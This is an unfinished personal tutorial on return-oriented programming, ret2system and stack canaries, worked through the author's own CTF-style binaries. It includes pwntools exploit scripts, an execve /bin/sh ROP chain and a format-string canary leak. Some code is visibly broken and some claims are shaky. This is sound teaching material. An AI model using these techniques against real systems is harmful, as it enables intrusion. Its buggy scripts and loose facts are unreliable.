this is my in depth explanation on everything rop.
Return Oriented Programming (this post is not finished)
Return Oriented Programming
ROP is the process of stringing together existing code within the binary
to execute code/shellcode, this is important as ALL modern binaries will have NX/DEP enabled. This is
a stack protection which essentially sets the stack as non executable, so any shellcode pushed or written
on will not be able to execute. This is an exploit mitigation for out stack buffer overflows, another
simpler bypass of NX is return to libc, which does essentially the same thing but strings together
existing code within the libc and binary to execute instructions and or shellcode. A major downside to
the technique known as ret2libc is that it only targets linux machines, as ive never heard of ret2dll.
this will only work on linux binaries, which is fun and good to know for CTF challenges, but unless
we plan on exploiting linux, we should stay in the general area of ROP which is applicable in basically
all scenarios and enviroments. Since ret2libc is indeed interesting i will first explain that before
getting into ROP.
TALK ABOUT RET2LIBC, DEMO TOO <-- ignore, they are just notes to myself
Now that we have ret2libc out of the way, lets establish the baseline understanding of return oriented programming an important thing to keep in mind is that pretty much all rop gadgets will end with a RET instruction.
before i explain why this is the case, and sometimes not the case, i will first explain what RET does:
RET Transfers program control to a return address located on the top of the stack. The address is usually placed on the stack by a CALL instruction, and the return is made to the instruction that follows the CALL instruction.
ret
; is basically
; pop eip
no known assembler will interpret and assemble this since it is invalid in more ways than one
It's pseudocode for explaining what ret does.
Now that we understand that RET doesnt just mean, stop function, we can now begin to explain CALL
this is important due to the fact that call and ret work in tandem with each other:
call randomfunc
; push 0xdeadbeef
; jmp printf
in this case, 0xdeadbeef is the address in which our program will continue execution in many cases this would be after printf call within main()
since call pushes the return address onto the stack then jmp's to called function then "pop eip" makes sense, as we are continuing execution at the provided address on the stack
Why is this relevant?
Why does any of this matter in the case of return oriented programming??
Because all of our ROP gadgets are required to have a ret after each of them.
Why?? Why do rop gadgets need a ret after them?
we've explained how call works, and we've explained how ret works, it pops the value on the top
of the stack into EIP/RIP, our special instruction register that points to the next instruction.
Next, we will be explaining the leave instruction, as this is a fairly important one as well.
the leave instruction seen in bar() will essentially moves ebp into esp, which "deallocates"
that area that has been allocated before. This is the purpose of establishing a stack frame
Here is an example of a stack frame:
push ebp
mov ebp, esp
sub esp, 16 ; whatever size of local variable you are planning on using
; code
pop ebp
ret
Here is a visual representation of how the stack frame is established and or deallocated
ALLOCATIION
push ebp ; push on to stack
+-----------+
| ebp |
+-----------+
mov ebp, esp
ebp and esp both point to the same address
+-----------+
| ebp/esp |
+-----------+
sub esp, 0x8
+-----------+
| ebp |
+-----------+
| | < - space to store local variables on the stack
+-----------+
| esp |
+-----------+
mov dword [ebp-4], 0xcafebabe
+-----------+
| ebp |
+-----------+
| 0xcafebabe| < - space to store local variables on the stack
+-----------+
| esp |
+-----------+
DEALLOCATION
in these cases, deallocation of stack variables can come in the form of:
Now that we hopefully have a slightly better understanding of the purpose of the stack frame we now understand what the leave instruction does, and how it deallocates memory on the stack
Now lets begin to explain how to pwn this binary at hand, the reason i did not provide the source to this challenge, is due to the fact that reverse engineering a binary is an important piece of knowledge as well, understanding how the program works is essential to pwning a binary.
With that said lets look at the disassembly again and walk through it step by step.
This first challenge will not be about rop gadgets, instead understanding the concept of how they work together to create a rop chain of sorts
This will be focusing on a little challenge i prepared for you in challenge1.zip
Thats all I have to say here, lets begin the pwning!
Reverse Engineering Challenge 1
Lets take a look at our main function
section .text
global main
main: ; the nasm assembler will complain, you must add the entrypoint
push rbp ;
mov rbp, rsp ; establish the stack frame, we had talked about this****
sub rsp, 0x10 ; allocate memory for temporary variables on the stack
lea rax, [buf] ; load the address of the writeable memory buffer, size of 16 bytes
mov edx, 0x80 ; number of bytes to read, len to be passed to read syscall!
; THE VULNERABILITY IS HERE, we talked about buf being a 16 byte buffer
; when we read 128 bytes to a 16 byte buffer, we get a "buffer overflow"
mov rsi, rax ; rax is holding the address of buf variable
mov edi, 0 ; null parameter to read call
mov eax, 0 ; null parameter to read call
call sym.imp.read ; call symbol import syscall read with the provided parameters
mov eax, 0 ; return 0
leave ; deallocate and clean
ret ; return from procedure(pop eip)
Now for our foo function:
foo:
push rbp ; Establishing Stack Frame
mov rbp, rsp ;
lea rdi, str.Opening_real_flag_ ; load the address of the string to print into the destination register
mov eax, 0 ; parameter passed to printf
call sym.imp.printf ; call printf(const char *format)
mov esi, 0 ; load null parameter into source register
lea rdi, str.flag.txt ; 0x40201b ; load address of REAL FILE to open
mov eax, 0 ; return address
call sym.imp.open ; open file, but DONT PRINT, this is important
pop rbp ; restore old pointer
ret ; return from procedure, continue execution from ret address
Our last function, will use the sendfile() systemcall to write the contents of the file to stdout
bar:
push rbp ;
mov rbp, rsp ; frame
sub rsp, 0x10 ; allocate space on stack to store variables
; remember, the stack grows DOWN, so rsp - 8 would GROW the stack by 8
mov esi, 0 ; int oflag ; get file descriptor to be passed to open()
lea rdi, str.wrong.txt ; "wrong.txt" ; THIS FUNCTION WILL OPEN THE WRONG FILE!!!
mov eax, 0 ; parameter to be passed to open
call sym.imp.open ; int open()
mov dword [var_4h], eax ; mov the value in eax to a variable on the stack
lea rdi, str.Oh_im_sorry__did_you_want_the_flag__ ; load string
mov eax, 0 ; load null param to printf
call sym.imp.printf ; int printf(const char *format)
mov eax, dword [var_4h] ; mov the variable back into eax
mov ecx, 0x7d0 ; size to write to stdout ; 2000
mov edx, 0 ; param
mov esi, eax ; eax = 0 ; var_4h = eax ; eax = var_4h ; esi = eax
; it is 0
mov edi, 1 ; write/send file to stdout, which is file descriptor 1
mov eax, 0 ; parameter
call sym.imp.sendfile ; call sendfile, writes file to screen/stdout
nop ; no operation, does nothing
leave ; clean
ret ; return from procedure
Exploiting Challenge 1
The purpose behing this challenge is to establish a ROP gadget, we will not have any stack protections enabled besides the good old NX, to prevent the usage of any shellcode. We are trying to create gadgets here!
In this case, the function will open the file, and return to main. This means it will not print anything to screen, which means we do not get our precious flag. If we want to get the flag, we can find where the open syscall is being setup, write that address over the return address, open and get fd for correct flag.txt, then when pop's back to rbp
Now you will notice the 0xdeadbeef junk address, that is needed due to the fact that the next location that we are overwriting is not the return address on the stack, it is ebp/rbp. We currently have no use for overwriting the base pointer.
So we will just overwrite a junk address over that so we can get back to our program execution and call sendfile
Lets Start!
The first thing we will do is overwrite our 16 byte buffer, the offset for this binary is 24 until we overwrite the return address placed on the stack.
Now once we find the offset, we can control eip/rip by sending whatever address we want into it.
ret is essentially POP EIP remember?, like we said before if eip pops that value off the stack and resumes execution at the location we provided, then we can hijack control. Except this time there is a twist, NX is enabled, so we need to get creative.
foo() will open the correct flag.txt, but will not output it for us
bar() will output our flag, but it reads the incorrect one
How can we work with this?
Lets think, so if we can open the correct file, but cannot print it and we can open the wrong file, but we can print that, how would we exploit this?
lets open the file up in radare2, and get the address of the sym.bar function:
wrapping the python2 command in a bash function and calling cat will keep standard input open when we exploit the binary.
This is not important for this particular challenge, and when using pwntools it is not important either, but when crafting quick exploits on the command line, normally your shell would not work unless stdin was kept open using a trick like this.
Output:
you done goofed now!, you sure done goofed now!!!
try not being stupid :)
⣿⢸⣿⣿⣿⣿⣿⢹⣿⣿⣿⣿⣿⢿⣿⡇⡇⣿⣿⡇⢹⣿⣿⣿⣿⣿⣿⠄⢸⣿
⡟⢸⣿⣿⣭⣭⡭⣼⣶⣿⣿⣿⣿⢸⣧⣇⠇⢸⣿⣿⠈⣿⣿⣿⣿⣿⣿⡆⠘⣿
⡇⢸⣿⣿⣿⣿⡇⣻⡿⣿⣿⡟⣿⢸⣿⣿⠇⡆⣝⠿⡌⣸⣿⣿⣿⣿⣿⡇⠄⣿
⢣⢾⣾⣷⣾⣽⣻⣿⣇⣿⣿⣧⣿⢸⣿⣿⡆⢸⣹⣿⣆⢥⢛⡿⣿⣿⣿⡇⠄⣿
⣛⡓⣉⠉⠙⠻⢿⣿⣿⣟⣻⠿⣹⡏⣿⣿⣧⢸⣧⣿⣿⣨⡟⣿⣿⣿⣿⡇⠄⣿
⠸⣷⣹⣿⠄⠄⠄⠄⠘⢿⣿⣿⣯⣳⣿⣭⣽⢼⣿⣜⣿⣇⣷⡹⣿⣿⣿⠁⢰⣿
⠄⢻⣷⣿⡄⢈⠿⠇⢸⣿⣿⣿⣿⣿⣿⣟⠛⠲⢯⣿⣒⡾⣼⣷⡹⣿⣿⠄⣼⣿
⡄⢸⣿⣿⣷⣬⣽⣯⣾⣿⣿⣿⣿⣿⣿⣿⣿⡀⠄⢀⠉⠙⠛⠛⠳⠽⠿⢠⣿⣿
⡇⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢄⣹⡿⠃⠄⠄⣰⠎⡈⣾⣿⣿
⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣭⣽⣖⣄⣴⣯⣾⢷⣿⣿⣿
⣧⠸⣿⣿⣿⣿⣿⣿⠯⠊⠙⢻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣾⣿⣿⣿
⣿⣦⠹⣿⣿⣿⣿⣿⠄⢀⣴⢾⣼⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣾⣿⣿⣿⣿
⣿⣿⣇⢽⣿⣿⣿⡏⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⡿⣿⣛⣻⠿⣟⣼⣿⣿⣿⣿⢃
⣿⣿⣿⡎⣷⣽⠻⣇⣿⣿⣿⡿⣟⣵⣿⣟⣽⣾⣿⣿⣿⣿⢯⣾⣿⣿⣿⠟⠱⡟
⣿⣿⣿⣿⢹⣿⣿⢮⣚⡛⠒⠛⢛⣋⣶⣿⣿⣿⣿⣿⣟⣱⠿⣿⣿⠟⣡⣺⢿
Oops, looks like we got the wrong flag.
How would we get the program to output the correct one?
This code up here is calling open on "wrong.txt", which is the incorrect file
if we were to call the address of sym.bar() instead of jumping into 0x004011d1, we would have opened the incorrect file again and printed that instead
Lets write a python script to print BOTH for us, since we're fancy
#!/usr/bin/env python3
from pwn import *
def main():
offset = 24
p = process('rop')
# sym.foo will only open, but will not "sendfile"/output anything from it
# saved return address to return from foo's open call
# --- snip ---
# mov esi, 0x0 ; int oflag
# lea rdi, str.flag.txt ; real flag
# mov eax, 0 ; parameter of 0
# call sym.imp.open ; call symbol import open
# pop rbp
# ret
addr1 = p64(0x00401184)
# this is where foo will return to
# the reason we called open first should be obvious, we need to open the correct file
# then pass execution and or overwrite x variable with address of our opened fd so sendfile will
# print
# -- snip --
# mov eax, dword [rbp-0x4] ; the value of rbp-4 is 0
# mov ecx, 0x7d0 ; 2000 ; will read/write 2000 bytes from file to stdout
# mov edx, 0 ; parameter
# mov esi, eax ; esi = 0
# mov edi, 1 ; write to stdout probabkly
# mov eax, 0 ; another parameter
# call sym.imp.sendfile ; call symbol import sendfile
addr2 = p64(0x004011d1)
# this is the setup for syscall sendfile, so we want to return to here
# the reason we need a junk address is due to the fact that the next register we write will
# be ebp/rbp, this is not important for us, as without the junk address, ebp would equal our address
# of addr2 that we want to execute, and eip/rip would be overwritten with junk, causing a seg fault
if incorrect_flag:
payload = b"A"*offset + p64(0x0040119c)
else:
payload = b"A"*offset + addr1 + p64(0xdeadbeef) + addr2
p.send(payload)
p.interactive()
try:
if len(sys.argv) > 1 and sys.argv[1] == "-f":
incorrect_flag=True
main()
elif sys.argv[1] == "-a":
incorrect_flag = False
main()
except IndexError:
print("Usage: python3 %s [-f] [-a]")
print("-f\tPrint the false flag\n-a\tPrint the real flag")
Challenge 1 Fin
Now that we have successfully created our first "rop" chain, we can move on to challenge 2
Here is the source code:
#include <stdio.h>
// gcc rop.c -fno-stack-protector -no-pie
int main() {
char buffer[16];
read(0, buffer, 128);
}
int foo() {
return open("flag.txt", 0);
}
int bar() {
int x = open("wrong.txt", 0);
printf("Oh im sorry, did you want the flag??");
sendfile(1, x, 0, 2000);
}
ret2system
Before I get into you can use this exploit, on your own linux binaries just so long as you have the same libc version as I do.
What ret2sys is & and what it's for:
So there are many ways bypass "NX" (non-excutable) NX/DEP (NX for linux and DEP for windows) functions similar to file permissions.
regions of memory in binaries also have permissions. So the ability to read and write and execute on the stack can be mitigated, which is what NX is.
Some history behind this stack protection, the first instance of a buffer overflow exploit was seem in the morris worm, which was the first worm ever seen.
This worm had used a buffer overflow exploit along with other spreading mechanisms to propogate across the internet.
The author of the first documented worm, and buffer overflow, was discovered by a man by the name of Robert Tappan Morris.
The reason that buffer overflow exploits work, is largely thanks to Von Neumann, which created the architecture in which all almost all computers follow to this day.
He had not created a gap between code, and data, they would be reasable, writeable, and executable without limitation.
The essence of all memory exploitation is essentially, making a program confuse data with code/instructions.
That is what exploitation is, all thanks to this one little oversight by Von Neumann.
Then comes in the stack protections, the one we will be discussing today is NX.
The history behing this particular exploit mitigation is not spectacular, but its emergence made exploitation much more difficult for its time.
Normally, all of you code will be located within your .text section of the binary, there is no need to mark the stack as executable.
People began to realize that there is no need to execute any code on the stack or the heap, which caused the stack protection known as NX to be created/realized.
You can get around said stack protection techniques like ret2libc, return oriented programming, and the list goes on and on.
But in this case im going to go over ret2sys which is very similiar if not identical to ret2libc.
The difference between the ret2 exploits and return oriented programming is that in ROP, you are exclusively using code that is built in within the binary, while with
ret2libc/sys you will be reaching out to PLT to recieve and call the functions within libc.
if you would like an explanation on how the GOT and PLT work together to resolve addresses for dynamically linked executables, feel free to check out this post:
Let's go ahead and break down what libc is and system and exit functions:
So before we can get into how to exploit ret2libc/system let's explain what is is.
In Linux systems, there resides the Standard Shared Library, this library will be loaded into memory on runtime and reside there until a function is called.
ret2libc/system is, again, thanks to the concept of dynamic linking, which means we are allowed to execute code, that exists outside of the binary.
Except in this case, there are more exploit mitigations that stand in our way of pwn!
ASLR, and RELRO
The extremely effective and difficult protection here is ASLR, which in concept is simple, but in implementation extremely difficult.
I wont be going in and explaining that here, i will probably write another post about it but just keep in mind that it is important.
Before we begin the lab, follow along 1. gcc -z -no-pie -fno-stack-protector lab.c 2. echo 0 > /proc/sys/kernel/randomize_via_space
Now I will show my ret2sys exploit and break it down.
from pwn import *
#padding
rip_offset = 273
padding = "A" * rip_offset
#offests for system and exit
#(0x0000000000044be0)
#(0x00000000000503c0)
#addrs
libc_base_addr = ("0x00007ffff7dc9000")
libc_system = ("0x00007ffff7dc9000" + "0x00000000000503c0")
libc_exit = ("0x00007ffff7dc9000" + "0x0000000000044be0")
binsh_addr = ("0x7ffff7f7741f")
pop_rdi_ret = ("0x00000000004011d3")
#So we need our libc_base so we can add the offset of system and exit with the base to get an address for system and exit.
#payload
payload = padding + pop_rdi_ret + binsh_addr + libc_system + libc_exit
#print(hex(libc_system))
#print(hex(libc_exit))
#You can do this to see if you get a prop system and exit addr
#Setting up our pwntools for our processes
proc = process("./vuln_bin") #My binary name
proc.sendline(payload) #Sending my payload
proc.interactive() #Making my shell interactive
#Some tools I used were the pwntools python module, the ropgadget tool to get my pop_rdi ; ret instruction, and I used ldd and readelf to get my libc_base and the
#offsets for libc_system and libc_exit, I also used a gdb (GNU linux command line debugger) plugin known as "gef" which is what I used to find the offset for the
#RIP address and was able to cause segmentation faults to get a offset.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
So upon executing this in your shell with the usage like so: python3 (exploit_name).py your interface in your shell should look like this upon running:
laytathagod@pop-s ~D/B/rop> python3 exploit.py
[!] Could not find executable 'vuln_bin' in $PATH using './vuln_bin' instead
[+] starting local process './vuln_bin': pid 5458
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
create a working exploit, this will error out for anyone trying at home
Rop Gadgets
Next, we will be talking about rop gadgets, how they work, and how to use them
EXPLAN ROP GADGETS AND RET2SYSTEM
Challenge 3
note:
pop rop gadgets are stack fix-up gadgets
add is also a stack fix gadget, for possibly jumping over corrupted memory
pop rdi ; ret ; is an example
; this may be used as a skip over garbage gadget
sub rsp, 0x40
stuff goes here
add rsp, 0x40
ROP, rare and common gadgets
ret - at the end of every function, can be used as a ret(nop) sled
leave ; ret - pop ebp ; mov esp, ebp | dont corrupt ebp/rbp or you will break esp/rsp too
pop rdi ; ret - this does not have to be rdi | restoring callee saved registers before returning
mov rax, * ; ret - saves the return value before returning to return address(many returns)
ROP, storing addresses into registers(very situational!)
push rsp ; pop rax ; ret ; will mov stack address/pointer into rax
add rax, rsp ; ret ; not perfect but conceptually will move rsp into rax
xchg rax, rsp ; ret ; swap rax and rsp(DANGEROUS)
ROP stack pivoting:
there are many reasons not to like your particular stack, some of them includes limiting the amount
of bytes you can overwrite so you may not be able to create a long ROP chain. Here we have a solution
to that, stack pivoting.
xchg == exchange, this swaps rax and rsp
when the next ret is executed, the return address previouly pushed on the stack will be popped off on
to your new stack, which is where rax use to point. You obviously need to mov the address into rax
beforehand.
xchg, rax, rsp ; ret
pop rsp ; ... ; ret
ROP, transfering data:
we had previously explained how to mov addresses into registers and passing parameters on the stack
with rop gadgets, now we will talk about passing data and values with rop gadgets
example of common gadget:
add byte [rcx], al ; pop rbp ; ret
this would require a gadget to be able to set rcx(rare) and rax(more common).
ROP, syscalls are rare
extrememly rare, you will most likely never find a syscall within a binary
the shortest path to our flag will be calling a libc function like printf@plt through the PLT
procedure linkage table, and or calling system@plt for code execution
ROP, KNOW YOUR ENVIROMENT
the ropchain is located on a place on a stack, KNOW THAT ENVIROMENT WELL, there are tons of info and
things to use to get code execution. Think about the code, the stack, the heap in registers and or
on the stack.
use the registers that point to all of them, you might be able to use those registers :)
[EXPLAIN AN EXAMPLE ROP CHAIN EXPLOIT BE WRITING AND EXECVE ON STACK] This is essentially the values our stack will contain, now we just need the gadgets to pop them off in order then syscall to hopefully give us the shell
OUR GADGET SHOULD BE THIS FOR THE x86_64 CALLING CONVENTION
pop rdx, 0x0068732f6e69622f
pop rax, 0x6b6000
mov qword ptr [rax], rdx ; ret
pop rax, 0x3b ; 0x3b is 11, execve syscall for x64
pop rdi, 0x6b6000 ; address of /bin/sh string we wrote to
pop rsi, 0x0
pop rdx, 0x0
syscall
HERE TALK ABOUT WRITING /bin/sh TO WRITEABLE MEMORY
ALSO TALK ABOUT LEAKING CANARY
Stack Canaries (HAVENT REALLY STARTED YET)
canaries always end with a 00, since this is little endian it ENDS with a null byte
canary is initialized with the secret address and data ONLY AT PROGRAM STARTUP
if a process forks off of one another, they will all have the same stack canary
so for forking processes, you can brute force the canary
STACK CANARY DOES NOT KNOW IF OVERWRITTEN, ONLY CHECKS VALUE OF STACK CANARY
IF THE VALUE OF CANARY IS NOT RANDOMIZED, AND WE CAN BRUTE FORCE IT, WE CAN OVERWRITE THE
CANARY WITH THE EXACT SAME VALUE, JUMP BACK TO MAIN, AND EXPLOIT OUR BOF
__stack_chk_fail@plt is the canary function
lets take this c program as an example
// gcc test.c -no-pie
#include <stdio.h>
// this program will have stack canary and NX enabled
int main(int argc, char**argv, char**envp) {
char buffer[16];
read(0, buffer, 128); // read 128 bytes into a 16 byte buffer
}
// this will only exist within binary, will not be acknowledged by compiler
void win() { system("/bin/bash"); }
labled/commented disassembled :
push rbp
mov rbp, rsp
sub rsp, 0x40
mov DWORD PTR [rbp-0x24],edi
mov QWORD PTR [rbp-0x30],rsi
mov QWORD PTR [rbp-0x38],rdx
mov rax,QWORD PTR fs:0x28 ; MOVE THE VALUE OF STACK CANARY INTO RAX REGISTER
; an example of what a stack canary displayed in little endianess: 0xdeadbe00
mov QWORD PTR [rbp-0x8], rax ; writes stack canary to address on the stack relative to base
; our canary is now placed at [rbp-0x8], remember that
; initializing registers, not very relevant to our canary
xor eax, eax
lea rax, [rbp-0x20]
mov edi, 0x80
mov rsi, rax
mov edi, 0x0
mov eax,0x0
call read@plt
mov eax, 0x0
; remember how we wrote our canary to [rbp-0x8]?
mov rcx,QWORD PTR [rbp-0x8] ; reads canary placed on stack in the call to read
; normally, the value of stack canary ends with a null, 00, in little endianess
; and this is moved into rax, which is then moved to an address relative to stack or base pointer
; if we overwrote [rbp-0x8], which in this case our read call had a buffer overflow vuln in it
; we will OVERWRITE our canary at [rbp-0x8], then it will NOT EQUALS to zero
; hence it will not take the jump back to main, instead print **stack smashing detected**, and quit
sub rcx,QWORD PTR fs:0x28 ; basically cmp with a value stored globally in memory, hence fs:0x28
; je is the same as jz remember?, jump if zero
je 40119c <main+0x56> ; continue program execution, pass stack canary
; else exit program and notify
call 401030 <__stack_chk_fail@plt> ; call "**stack smashing detected**"
leave
ret
I have written a script to dynamically leak the stack canary of a binary with a format string vuln
There is nothing that is preventing you from finding the static offset between the input buffer and the stack canary
I just thought that doing it dynamically would be cooler. there really is no difference though, as long as the code does not change the offset between input and stack canary will stay static no matter what stack protections are put in place
#!/usr/bin/env python3
from pwn import *
import sys, time, os
context(arch="amd64", os="linux")
p = process("./fmt")
def leak_canary():
check = []
fmt = "%llx."*100
for i in range(3):
p.sendline(fmt)
data = p.recvall(timeout=1).split(b".")
for i in range(len(data)):
if str(data[i][-2:].decode()) == "00":
if len(data[i]) == 16:
check.append(i)
try:
ind = max(set(check), key=check.count)
return int(data[ind], 16)
except ValueError or NoneType:
log.warning("Could not locate a Stack Canary!")
canary = leak_canary()
log.info("LEAKED STACK CANARY: %s" % hex(canary))